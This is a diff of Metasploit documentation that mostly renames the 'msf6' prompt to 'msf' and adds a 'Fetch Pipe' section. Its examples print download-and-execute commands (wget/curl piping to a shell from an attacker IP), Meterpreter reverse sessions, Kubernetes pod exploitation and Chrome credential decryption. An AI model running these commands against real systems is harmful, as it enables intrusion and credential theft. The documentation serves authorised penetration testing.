msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
```
You can see the fetch payload generated:
@@ -109,7 +130,7 @@ When you start the `Fetch Handler`, it starts both the server hosting the binary
served payload. With `verbose` set to `true`, you can see both the Fetch Handler and the Served Payload Handler are
started:
```msf
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
[*] wget -qO ./YBybOrAmkV http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YBybOrAmkV; ./YBybOrAmkV &
[*] Payload Handler Started as Job 0
[*] Fetch Handler listening on 10.5.135.201:8000
@@ -121,7 +142,7 @@ msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
The Fetch Handler is tracked with the Served Payload Handler, so you will only see the Served Payload Handler under
`Jobs`, even though the Fetch Handler is listening:
```msf
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -l
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -l
Jobs
====
@@ -130,7 +151,7 @@ Jobs
-- ---- ------- ------------
0 Exploit: multi/handler cmd/linux/http/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4567
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
[*] exec: netstat -ant | grep 8000
tcp 0 0 10.5.135.201:8000 0.0.0.0:* LISTEN
@@ -138,13 +159,13 @@ tcp 0 0 10.5.135.201:8000 0.0.0.0:* LISTEN
```
Killing the Served Payload handler will kill the Fetch Handler as well:
```msf
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -k 0
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -k 0
[*] Stopping the following job(s): 0
[*] Stopping job 0
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
[*] exec: netstat -ant | grep 8000
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
```
## Using Fetch Payloads on the Fly
@@ -154,6 +175,20 @@ really odd situation where you can execute commands, you can get a session in fr
a payload manually. Just follow the steps above, and run the provided command. Right now, the only thing we serve are
Framework payloads, but in the future, expanding to serve and execute any executable binary would be relatively trivial.
## Fetch Pipe
If space is at a premium, you can use the `FETCH_PIPE` option. When using `FETCH_PIPE`, the fetch server hosts two
resources: the original binary and then the generated fetch command. In the place of the original command, the command
generated will be a much smaller command to download the original command and pipe it into the shell.
The following example shows both the original command to download and execute the binary and the command to pipe the
original fetch command directly to the shell. Since this requires two downloads, it is less stealthy, but the
command to run on the target is significantly shorter.
``` msf
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > to_handler
[*] Command served: curl -so %TEMP%\DpRdBIfeyax.exe http://10.5.135.117:8080/zw3LGTh9FtaLJ4bCQRAWdw & start /B %TEMP%\DpRdBIfeyax.exe
[*] Command to run on remote host: curl -s http://10.5.135.117:8080/test|cmd
```
## Using it in an exploit
Using Fetch Payloads is no different than using any other command payload. First, give users access to the Fetch
payloads for a given platform by adding a target that supports `ARCH_CMD` and the desired platform, either `windows` or
@@ -255,7 +290,7 @@ Then, you can set `FetchListenerBindPort` to 3069 and get the callback correctly
4) Because tftp is a udp-based protocol and because od the implementation of the server within Framework, each time you
start a tftp fetch handler, a new service will start:
```msf
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
Jobs
====
@@ -264,16 +299,16 @@ Jobs
-- ---- ------- ------------
2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445
msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445
LPORT => 4445
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
[*] Command to run on remote host: curl -so plEYxIdBQna.exe tftp://10.5.135.201:8080/test1 & start /B plEYxIdBQna.exe
[*] Payload Handler Started as Job 4
[*] starting tftpserver on 10.5.135.201:8080
[*] Started reverse TCP handler on 10.5.135.201:4445
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
Jobs
====
@@ -283,23 +318,23 @@ Jobs
2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444
4 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4445
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
[*] exec: netstat -an | grep 8080
udp 0 0 10.5.135.201:8080 0.0.0.0:*
udp 0 0 10.5.135.201:8080 0.0.0.0:*
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH test4
msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH test4
FETCH_URIPATH => test4
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 8547
msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 8547
LPORT => 8547
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
[*] Command to run on remote host: curl -so DOjmRoCOSMn.exe tftp://10.5.135.201:8080/test4 & start /B DOjmRoCOSMn.exe
[*] Payload Handler Started as Job 5
[*] starting tftpserver on 10.5.135.201:8080
[*] Started reverse TCP handler on 10.5.135.201:8547
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
[*] exec: netstat -an | grep 8080
udp 0 0 10.5.135.201:8080 0.0.0.0:*
@@ -7,7 +7,7 @@
There are two methods of adding a module to the favorites list. The first way is via simply calling `favorite` when there is an active module:
```shell
msf6 exploit(multi/handler) > favorite
msf exploit(multi/handler) > favorite
[+] Added exploit/multi/handler to the favorite modules file
```
@@ -15,7 +15,7 @@ msf6 exploit(multi/handler) > favorite
Using the active module without an active module will print the `favorite` command help output:
```shell
msf6 > favorite
msf > favorite
[-] No module has been provided to favorite.
Usage: favorite [mod1 mod2 ...]
@@ -35,10 +35,10 @@ OPTIONS:
The second method of adding favorites allows adding multiple modules at once:
```msf
msf6 > favorite exploit/multi/handler exploit/windows/smb/psexec
msf > favorite exploit/multi/handler exploit/windows/smb/psexec
[+] Added exploit/multi/handler to the favorite modules file
[+] Added exploit/windows/smb/psexec to the favorite modules file
msf6 > show favorites
msf > show favorites
Favorites
=========
@@ -59,14 +59,14 @@ Modules can be deleted from the favorites list individually or by clearing the c
#### Deleting an active module from favorites list
```shell
msf6 exploit(multi/handler) > favorite -d
msf exploit(multi/handler) > favorite -d
[*] Removing exploit/multi/handler from the favorite modules file
```
#### Specifying module(s) to delete
```shell
msf6 > favorite -d exploit/multi/handler exploit/windows/smb/psexec
msf > favorite -d exploit/multi/handler exploit/windows/smb/psexec
[*] Removing exploit/multi/handler from the favorite modules file
[*] Removing exploit/windows/smb/psexec from the favorite modules file
```
@@ -74,7 +74,7 @@ msf6 > favorite -d exploit/multi/handler exploit/windows/smb/psexec
#### Clearing the favorites list
```msf
msf6 > show favorites
msf > show favorites
Favorites
=========
@@ -84,9 +84,9 @@ Favorites
0 exploit/multi/handler manual No Generic Payload Handler
1 exploit/windows/smb/psexec 1999-01-01 manual No Microsoft Windows Authenticated User Code Execution
msf6 > favorite -c
msf > favorite -c
[+] Favorite modules file cleared
msf6 > show favorites
msf > show favorites
[!] The favorite modules file is empty
```
@@ -95,7 +95,7 @@ msf6 > show favorites
The list of favorite modules can be printed by supplying the `-l` flag. This is an alias for the `show favorites` and `favorites` commands.
```shell
msf6 > favorite -l
msf > favorite -l
Favorites
=========
@@ -104,4 +104,4 @@ Favorites
- ---- --------------- ---- ----- -----------
0 exploit/multi/handler manual No Generic Payload Handler
1 exploit/windows/smb/psexec 1999-01-01 manual No Microsoft Windows Authenticated User Code Execution
```
```
@@ -352,19 +352,19 @@ end
The module will start the http server and print the repo to clone
```msf
msf6 > use exploit/multi/http/git_clone_test
msf > use exploit/multi/http/git_clone_test
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(multi/http/git_clone_test) > set srvport 9999
msf exploit(multi/http/git_clone_test) > set srvport 9999
srvport => 9999
msf6 exploit(multi/http/git_clone_test) > set lhost 192.168.140.1
msf exploit(multi/http/git_clone_test) > set lhost 192.168.140.1
lhost => 192.168.140.1
msf6 exploit(multi/http/git_clone_test) > set srvhost 192.168.140.1
msf exploit(multi/http/git_clone_test) > set srvhost 192.168.140.1
srvhost => 192.168.140.1
msf6 exploit(multi/http/git_clone_test) > run
msf exploit(multi/http/git_clone_test) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/git_clone_test) > [*] Started reverse TCP handler on 192.168.140.1:4444
msf exploit(multi/http/git_clone_test) > [*] Started reverse TCP handler on 192.168.140.1:4444
[*] Using URL: http://192.168.140.1:9999/MOYuJfC
[*] Server started.
[*] Git repository to clone: http://192.168.140.1:9999/y-find.git
@@ -6,7 +6,7 @@ The term 'repo' is short for 'Repository.' Also known as 'fork' (as a noun).
## The Easy Way
The easiest way to keep in sync with master is to trash your fork of `metasploit-framework`, and re-fork. This is a surprisingly common practice, since most people in the world don't work with Metasploit every day. If you're the sort to be struck by hackerish inspiration every few months, and couldn't give a whit about preserving branches, history, or pull requests, simply nuke your local fork.
The easiest way to keep in sync with master is to trash your fork of `metasploit-framework`, and re-fork. This is a surprisingly common practice, since most people in the world don't work with Metasploit every day. If you're the sort to be struck by hackerish inspiration every few months, and couldn't give a with about preserving branches, history, or pull requests, simply nuke your local fork.
On your fork, in the GitHub UI, go to **Settings**, scroll down to the **Danger Zone**, and hit **Delete this repository**. Once you've re-authenticated, re-fork the `metasploit-framework` repository by going to the [Rapid7 repo](https://github.com/rapid7/metasploit-framework) and hit **Fork** as hard as you possibly can.
@@ -5,18 +5,18 @@ and should not be used during normal operations. These modules also as part of t
By default the test modules in Metasploit are not loaded when Metasploit starts. To load them, run `loadpath test/modules` after which you should see output similar to the following:
```msf
msf6 > loadpath test/modules
msf > loadpath test/modules
Loaded 38 modules:
14 auxiliary modules
13 exploit modules
11 post modules
msf6 >
msf >
```
The modules can be searched for:
```msf
msf6 > search post/test
msf > search post/test
Matching Modules
================
@@ -35,8 +35,8 @@ Matching Modules
Example of running the test module against an opened session:
```
msf6 > use post/test/cmd_exec
msf6 post(test/cmd_exec) > run session=-1
msf > use post/test/cmd_exec
msf post(test/cmd_exec) > run session=-1
...
[*] Testing complete in 2.04 seconds
[*] Passed: 6; Failed: 0; Skipped: 0
@@ -47,7 +47,7 @@ The `post/test/all` module is an aggregate module that can be used to quickly ru
against a currently open session:
```msf
msf6 post(test/all) > run session=-1
msf post(test/all) > run session=-1
[*] Applicable modules:
Valid modules for x86/windows session 1
@@ -7,7 +7,7 @@ When you have a number of sessions open, searching can be a useful tool to navig
You can get a list of sessions matching a specific criteria within msfconsole:
```msf
msf6 payload(windows/meterpreter/reverse_http) > sessions --search "session_id:1 session_id:2"
msf payload(windows/meterpreter/reverse_http) > sessions --search "session_id:1 session_id:2"
Active sessions
===============
@@ -20,7 +20,7 @@ Active sessions
Currently, the only supported keywords for search are `session_id`, `session_type`, and `last_checkin`. These keywords can be combined to further filter your results, and used with other flags. For example:
```msf
msf6 payload(windows/meterpreter/reverse_http) > sessions --search "session_id:1 session_type:meterpreter last_checkin:greater_than:10s last_checkin:less_than:10d5h2m30s" -v
msf payload(windows/meterpreter/reverse_http) > sessions --search "session_id:1 session_type:meterpreter last_checkin:greater_than:10s last_checkin:less_than:10d5h2m30s" -v
Active sessions
===============
@@ -45,7 +45,7 @@ Of note in the above example, `last_checkin` requires an extra argument. The sec
If `--search` is used in conjunction with `--kill-all`, it will restrict the latter function to only the search results. For example:
```msf
msf6 payload(windows/meterpreter/reverse_http) > sessions -K -S "session_type:meterpreter"
msf payload(windows/meterpreter/reverse_http) > sessions -K -S "session_type:meterpreter"
[*] Killing matching sessions...
Active sessions
@@ -58,5 +58,5 @@ Active sessions
[*] 192.168.2.132 - Meterpreter session 1 closed.
[*] 192.168.2.132 - Meterpreter session 2 closed.
msf6 payload(windows/meterpreter/reverse_http) >
msf payload(windows/meterpreter/reverse_http) >
```
@@ -30,7 +30,7 @@ In both scenarios, reports will be generated and written to disk that can be ope
The `time` command in msfconsole can be used to record the performance of a command:
```msf
msf6 exploit(windows/smb/ms17_010_psexec) > time reload
msf exploit(windows/smb/ms17_010_psexec) > time reload
[*] Reloading module...
[+] Command "reload" completed in 0.20876399998087436 seconds
```
@@ -38,7 +38,7 @@ msf6 exploit(windows/smb/ms17_010_psexec) > time reload
It is possible to record CPU and memory usage with the `--memory` and `--cpu` flags:
```msf
msf6 exploit(windows/smb/ms17_010_psexec) > time --cpu search smb
msf exploit(windows/smb/ms17_010_psexec) > time --cpu search smb
... etc ...
Generating CPU dump /var/folders/wp/fp12h8q13kq7mvf4mll72c140000gq/T/msf-profile-2023030711505620230307-77101-4josw1/cpu
[+] Command "search smb" completed in 0.4150249999947846 seconds
@@ -42,7 +42,7 @@ Creating initial database schema
This looks like a lot of information, but all it's saying is that it's creating the database Metasploit will use to store information. If you start up msfconsole now it should automatically connect to the database, and if you run `db_status` you should see something like this:
```
msf6 > db_status
msf > db_status
[*] Connected to msf. Connection type: postgresql.
```
@@ -11,7 +11,7 @@ Note that any port can be used to run an application which communicates via HTTP
This document is generic advice for running and debugging HTTP based Metasploit modules, but it is best to use a Metasploit module which is specific to the application that you are pentesting. For instance:
```msf
msf6 > search tomcat http
msf > search tomcat http
```
### HTTP Examples
@@ -49,12 +49,12 @@ run http://example.com HttpTrace=true verbose=true
For instance:
```msf
msf6 > use scanner/http/title
msf6 auxiliary(scanner/http/title) > set RHOSTS 127.0.0.1
msf > use scanner/http/title
msf auxiliary(scanner/http/title) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(scanner/http/title) > set HttpTrace true
msf auxiliary(scanner/http/title) > set HttpTrace true
HttpTrace => true
msf6 auxiliary(scanner/http/title) > run
msf auxiliary(scanner/http/title) > run
####################
# Request:
@@ -89,7 +89,7 @@ Content-Length: 178
[+] [127.0.0.1:80] [C:200] [R:] [S:SimpleHTTP/0.6 Python/2.7.16] Directory listing for /
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/title) >
msf auxiliary(scanner/http/title) >
```
To send all HTTP requests through a proxy, i.e. through Burp Suite:
@@ -170,13 +170,13 @@ Header-Name-Here: <%= 'content of header goes here' %>
The following output shows leveraging the scraper scanner module with an additional header stored in ```additional_headers.txt```.
```msf
msf6 auxiliary(scanner/http/scraper) > cat additional_headers.txt
msf auxiliary(scanner/http/scraper) > cat additional_headers.txt
[*] exec: cat additional_headers.txt
X-Cookie-Header: <%= 'example-cookie' %>
msf6 auxiliary(scanner/http/scraper) > set HTTPRAWHEADERS additional_headers.txt
msf auxiliary(scanner/http/scraper) > set HTTPRAWHEADERS additional_headers.txt
HTTPRAWHEADERS => additional_headers.txt
msf6 auxiliary(scanner/http/scraper) > exploit
msf auxiliary(scanner/http/scraper) > exploit
####################
# Request:
@@ -9,7 +9,7 @@ a compromised docker container, or external to the cluster if the required APIs
In the future there may be more modules than listed here, for the full list of modules run the `search` command within msfconsole:
```msf
msf6 > search kubernetes
msf > search kubernetes
```
### Lab Environment
@@ -41,12 +41,12 @@ run session=-1
If the Kubernetes API is publicly accessible and you have a JWT Token:
```msf
msf6 > use cloud/kubernetes/enum_kubernetes
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set RHOST https://kubernetes.docker.internal:6443
msf > use cloud/kubernetes/enum_kubernetes
msf auxiliary(cloud/kubernetes/enum_kubernetes) > set RHOST https://kubernetes.docker.internal:6443
RHOST => https://kubernetes.docker.internal:6443
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO...
msf auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO...
TOKEN => eyJhbGciO...
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > run
msf auxiliary(cloud/kubernetes/enum_kubernetes) > run
[*] Running module against 127.0.0.1
[+] Kubernetes service version: {"major":"1","minor":"21","gitVersion":"v1.21.2","gitCommit":"092fbfbf53427de67cac1e9fa54aaa09a28371d7","gitTreeState":"clean","buildDate":"2021-06-16T12:53:14Z","goVersion":"go1.16.5","compiler":"gc","platform":"linux/amd64"}
@@ -68,7 +68,7 @@ Namespaces
By default the `run` command will enumerate all resources available, but you can also specify which actions you would like to perform:
```msf
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > show actions
msf auxiliary(cloud/kubernetes/enum_kubernetes) > show actions
Auxiliary actions:
@@ -115,9 +115,9 @@ If you have a Meterpreter session on a compromised Kubernetes container with the
will be gathered from the session host automatically. The `TOKEN` will be read from the mounted `/run/secrets/kubernetes.io/serviceaccount/token` file if available:
```msf
msf6 exploit(multi/kubernetes/exec) > set TARGET Interactive\ WebSocket
msf exploit(multi/kubernetes/exec) > set TARGET Interactive\ WebSocket
TARGET => Interactive WebSocket
msf6 exploit(multi/kubernetes/exec) > run RHOST="" RPORT="" POD="" SESSION=-1
msf exploit(multi/kubernetes/exec) > run RHOST="" RPORT="" POD="" SESSION=-1
[*] Routing traffic through session: 1
[+] Kubernetes service host: 10.96.0.1:443
@@ -137,19 +137,19 @@ pwd
If the Kubernetes API is available remotely, the RHOST values and token can be set manually. In this scenario a token is manually specified, to execute a Python Meterpreter payload within the `thinkphp-67f7c88cc9-tgpfh` pod:
```msf
msf6 > use exploit/multi/kubernetes/exec
msf > use exploit/multi/kubernetes/exec
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/kubernetes/exec) > set TOKEN eyJhbGciOiJSUzI1...
msf exploit(multi/kubernetes/exec) > set TOKEN eyJhbGciOiJSUzI1...
TOKEN => eyJhbGciOiJSUzI1...
msf6 exploit(multi/kubernetes/exec) > set POD thinkphp-67f7c88cc9-tgpfh
msf exploit(multi/kubernetes/exec) > set POD thinkphp-67f7c88cc9-tgpfh
POD => thinkphp-67f7c88cc9-tgpfh
msf6 exploit(multi/kubernetes/exec) > set RHOSTS 192.168.159.31
msf exploit(multi/kubernetes/exec) > set RHOSTS 192.168.159.31
RHOSTS => 192.168.159.31
msf6 exploit(multi/kubernetes/exec) > set TARGET Python
msf exploit(multi/kubernetes/exec) > set TARGET Python
TARGET => Python
msf6 exploit(multi/kubernetes/exec) > set PAYLOAD python/meterpreter/reverse_tcp
msf exploit(multi/kubernetes/exec) > set PAYLOAD python/meterpreter/reverse_tcp
PAYLOAD => python/meterpreter/reverse_tcp
msf6 exploit(multi/kubernetes/exec) > run
msf exploit(multi/kubernetes/exec) > run
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Sending stage (39736 bytes) to 192.168.159.31
@@ -164,5 +164,5 @@ Architecture : x64
Meterpreter : python/linux
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/kubernetes/exec) >
msf exploit(multi/kubernetes/exec) >
```
@@ -44,7 +44,7 @@ run ldap://domain.local;Administrator:p4$$w0rd@192.168.123.13/dc=domain,dc=local
Example output:
```msf
msf6 auxiliary(gather/ldap_query) > run rhost=192.168.123.13 username=Administrator@domain.local password=p4$$w0rd action=ENUM_ACCOUNTS
msf auxiliary(gather/ldap_query) > run rhost=192.168.123.13 username=Administrator@domain.local password=p4$$w0rd action=ENUM_ACCOUNTS
[*] Running module against 192.168.123.13
[*] Discovering base DN automatically
@@ -112,8 +112,8 @@ Details on the Kerberos specific option names are documented in [[Kerberos Servi
Query LDAP for accounts:
```msf
msf6 > use auxiliary/gather/ldap_query
msf6 auxiliary(gather/ldap_query) > run action=ENUM_ACCOUNTS rhost=192.168.123.13 username=Administrator password=p4$$w0rd ldap::auth=kerberos ldap::rhostname=dc3.demo.local domain=demo.local domaincontrollerrhost=192.168.123.13
msf > use auxiliary/gather/ldap_query
msf auxiliary(gather/ldap_query) > run action=ENUM_ACCOUNTS rhost=192.168.123.13 username=Administrator password=p4$$w0rd ldap::auth=kerberos ldap::rhostname=dc3.demo.local domain=demo.local domaincontrollerrhost=192.168.123.13
[*] Running module against 192.168.123.13
[+] 192.168.123.13:88 - Received a valid TGT-Response
@@ -11,13 +11,13 @@ MSSQL is frequently found on port on the following ports:
For a full list of MSSQL modules run the `search` command within msfconsole:
```msf
msf6 > search mssql
msf > search mssql
```
Or to search for modules that work with a specific session type:
```msf
msf6 > search session_type:mssql
msf > search session_type:mssql
```
### Lab Environment
@@ -61,7 +61,7 @@ on a successful login:
Which you can interact with using `sessions -i <session id>` or `sessions -i -1` to interact with the most recently opened session.
```msf
msf6 auxiliary(scanner/mssql/mssql_login) > sessions
msf auxiliary(scanner/mssql/mssql_login) > sessions
Active sessions
===============
@@ -70,7 +70,7 @@ Active sessions
-- ---- ---- ----------- ----------
1 mssql MSSQL test @ 192.168.2.242:1433 192.168.2.1:60963 -> 192.168.23.242:1433 (192.168.2.242)
msf6 auxiliary(scanner/mssql/mssql_login) > sessions -i 1
msf auxiliary(scanner/mssql/mssql_login) > sessions -i 1
[*] Starting interaction with 1...
mssql @ 192.168.2.242:1433 (master) > query 'select @@version;'
@@ -146,7 +146,7 @@ This session also works with the following modules:
To interact directly with the session as if in a SQL prompt, you can use the `query` command.
```msf
msf6 auxiliary(scanner/mssql/mssql_login) > sessions -i -1
msf auxiliary(scanner/mssql/mssql_login) > sessions -i -1
[*] Starting interaction with 2...
mssql @ 192.168.2.242:1433 (master) > query -h
@@ -224,8 +224,8 @@ Details on the Kerberos specific option names are documented in [[Kerberos Servi
Connect to a Microsoft SQL Server instance and run a query:
```msf
msf6 > use auxiliary/admin/mssql/mssql_sql
msf6 auxiliary(admin/mssql/mssql_sql) > run 192.168.123.13 domaincontrollerrhost=192.168.123.13 username=administrator password=p4$$w0rd mssql::auth=kerberos mssql::rhostname=dc3.demo.local mssqldomain=demo.local sql='select auth_scheme from sys.dm_exec_connections where session_id=@@spid'
msf > use auxiliary/admin/mssql/mssql_sql
msf auxiliary(admin/mssql/mssql_sql) > run 192.168.123.13 domaincontrollerrhost=192.168.123.13 username=administrator password=p4$$w0rd mssql::auth=kerberos mssql::rhostname=dc3.demo.local mssqldomain=demo.local sql='select auth_scheme from sys.dm_exec_connections where session_id=@@spid'
[*] Reloading module...
[*] Running module against 192.168.123.13
@@ -14,13 +14,13 @@ Metasploit has support for multiple MySQL modules, including:
There are more modules than listed here, for the full list of modules run the `search` command within msfconsole:
```msf
msf6 > search mysql
msf > search mysql
```
Or to search for modules that work with a specific session type:
```msf
msf6 > search session_type:mysql
msf > search session_type:mysql
```
### Lab Environment
@@ -49,7 +49,7 @@ use auxiliary/scanner/mysql/mysql_login
run 'mysql://root: a b c p4$$w0rd@127.0.0.1'
```
Re-using MySQL credentials in a subnet:
Reusing MySQL credentials in a subnet:
```
use auxiliary/scanner/mysql/mysql_login
@@ -92,15 +92,15 @@ for the MySQL client you're connecting to. The run command with CreateSession
set to true should give you an interactive session:
```msf
msf6 > use scanner/mysql/mysql_login
msf6 auxiliary(scanner/mysql/mysql_login) > run rhost=127.0.0.1 rport=4306 username=root password=password createsession=true
msf > use scanner/mysql/mysql_login
msf auxiliary(scanner/mysql/mysql_login) > run rhost=127.0.0.1 rport=4306 username=root password=password createsession=true
[+] 127.0.0.1:4306 - 127.0.0.1:4306 - Found remote MySQL version 11.2.2
[+] 127.0.0.1:4306 - 127.0.0.1:4306 - Success: 'root:password'
[*] MySQL session 1 opened (127.0.0.1:53241 -> 127.0.0.1:4306) at 2024-03-12 12:40:46 -0500
[*] 127.0.0.1:4306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mysql/mysql_login) > sessions -i -1
msf auxiliary(scanner/mysql/mysql_login) > sessions -i -1
[*] Starting interaction with 1...
mysql @ 127.0.0.1:4306 >
@@ -110,7 +110,7 @@ You can interact with your new session using `sessions -i -1` or `sessions <sess
You can also use `help` to get more information about how to use your session.
```msf
msf6 auxiliary(scanner/mysql/mysql_login) > sessions
msf auxiliary(scanner/mysql/mysql_login) > sessions
Active sessions
===============
@@ -120,7 +120,7 @@ Active sessions
2 mssql MSSQL test @ 192.168.2.242:1433 192.168.2.1:61428 -> 192.168.2.242:1433 (192.168.2.242)
3 mysql MySQL root @ 127.0.0.1:4306 127.0.0.1:61450 -> 127.0.0.1:4306 (127.0.0.1)
msf6 auxiliary(scanner/mysql/mysql_login) > sessions -i 3
msf auxiliary(scanner/mysql/mysql_login) > sessions -i 3
[*] Starting interaction with 3...
```
@@ -7,7 +7,7 @@ Metasploit post modules replace old Meterpreter scripts, which are no longer mai
You can search for post gather modules within msfconsole:
```msf
msf6 > search type:post platform:windows name:gather
msf > search type:post platform:windows name:gather
Matching Modules
================
@@ -26,8 +26,8 @@ There are two ways to launch a Post module, both require an existing session.
Within a msf prompt you can use the `use` command followed by the `run` command to execute the module against the required session. For instance to extract credentials from Chrome on the most recently opened Metasploit session:
```msf
msf6 > use post/windows/gather/enum_chrome
msf6 post(windows/gather/enum_chrome) > run session=-1 verbose=true
msf > use post/windows/gather/enum_chrome
msf post(windows/gather/enum_chrome) > run session=-1 verbose=true
[*] Impersonating token: 7192
[*] Running as user 'DESKTOP-N3MAG5R\basic_user'...
@@ -44,13 +44,13 @@ msf6 post(windows/gather/enum_chrome) > run session=-1 verbose=true
[+] Decrypted data: url:https://www.example.com/ my_username:my_password_123
[+] Decrypted data saved in: /Users/user/.msf4/loot/20220422122129_default_192.168.123.151_chrome.decrypted_981698.txt
[*] Post module execution completed
msf6 post(windows/gather/enum_chrome) >
msf post(windows/gather/enum_chrome) >
```
Or within a Meterpreter prompt use the `run` command, which will automatically set the module's session value:
```msf
msf6 > sessions --interact -1
msf > sessions --interact -1
[*] Starting interaction with 5...
meterpreter > run post/windows/gather/enum_applications
@@ -14,13 +14,13 @@ Metasploit has support for multiple PostgreSQL modules, including:
There are more modules than listed here, for the full list of modules run the `search` command within msfconsole:
```msf
msf6 > search postgres
msf > search postgres
```
Or to search for modules that work with a specific session type:
```msf
msf6 > search session_type:postgres
msf > search session_type:postgres
```
@@ -51,7 +51,7 @@ use auxiliary/scanner/postgres/postgres_login
run 'postgres://root: a b c p4$$w0rd@127.0.0.1'
```
Re-using PostgreSQL credentials in a subnet:
Reusing PostgreSQL credentials in a subnet:
```
use auxiliary/scanner/postgres/postgres_login
@@ -95,7 +95,7 @@ set to true should give you an interactive session.
For example:
```msf
msf6 auxiliary(scanner/postgres/postgres_login) > run rhost=127.0.0.1 rport=5432 username=postgres password=password database=template1 createsession=true
msf auxiliary(scanner/postgres/postgres_login) > run rhost=127.0.0.1 rport=5432 username=postgres password=password database=template1 createsession=true
```
Should yield:
@@ -111,7 +111,7 @@ You can interact with your session using `sessions -i -1` or `sessions <session
Use the help command for more info.
```msf
msf6 auxiliary(scanner/postgres/postgres_login) > sessions
msf auxiliary(scanner/postgres/postgres_login) > sessions
Active sessions
===============
@@ -120,7 +120,7 @@ Active sessions
-- ---- ---- ----------- ----------
1 postgresql PostgreSQL postgres @ 127.0.0.1:5432 127.0.0.1:61324 -> 127.0.0.1:5432 (127.0.0.1)
msf6 auxiliary(scanner/postgres/postgres_login) > sessions -i 1
msf auxiliary(scanner/postgres/postgres_login) > sessions -i 1
[*] Starting interaction with 1...
```
@@ -257,7 +257,7 @@ psql postgres://postgres:mysecretpassword@localhost:5432
Metasploit's output will be:
```msf
msf6 auxiliary(server/capture/postgresql) >
msf auxiliary(server/capture/postgresql) >
[*] Started service listener on 0.0.0.0:5432
[*] Server started.
[+] PostgreSQL LOGIN 127.0.0.1:60406 postgres / mysecretpassword / postgres
@@ -24,13 +24,13 @@ Metasploit has support for multiple SMB modules, including:
There are more modules than listed here, for the full list of modules run the `search` command within msfconsole:
```msf
msf6 > search smb
msf > search smb
```
Or to search for modules that work with a specific session type:
```msf
msf6 > search session_type:smb
msf > search session_type:smb
```
### Lab Environment
@@ -75,7 +75,7 @@ When using the smb_login module, the CreateSession option can be used to obtain
session within the smb instance. Running with the following options:
```msf
msf6 auxiliary(scanner/smb/smb_login) > run CreateSession=true RHOSTS=172.14.2.164 RPORT=445 SMBDomain=windomain.local SMBPass=password SMBUser=username
msf auxiliary(scanner/smb/smb_login) > run CreateSession=true RHOSTS=172.14.2.164 RPORT=445 SMBDomain=windomain.local SMBPass=password SMBUser=username
```
Should give you output similar to
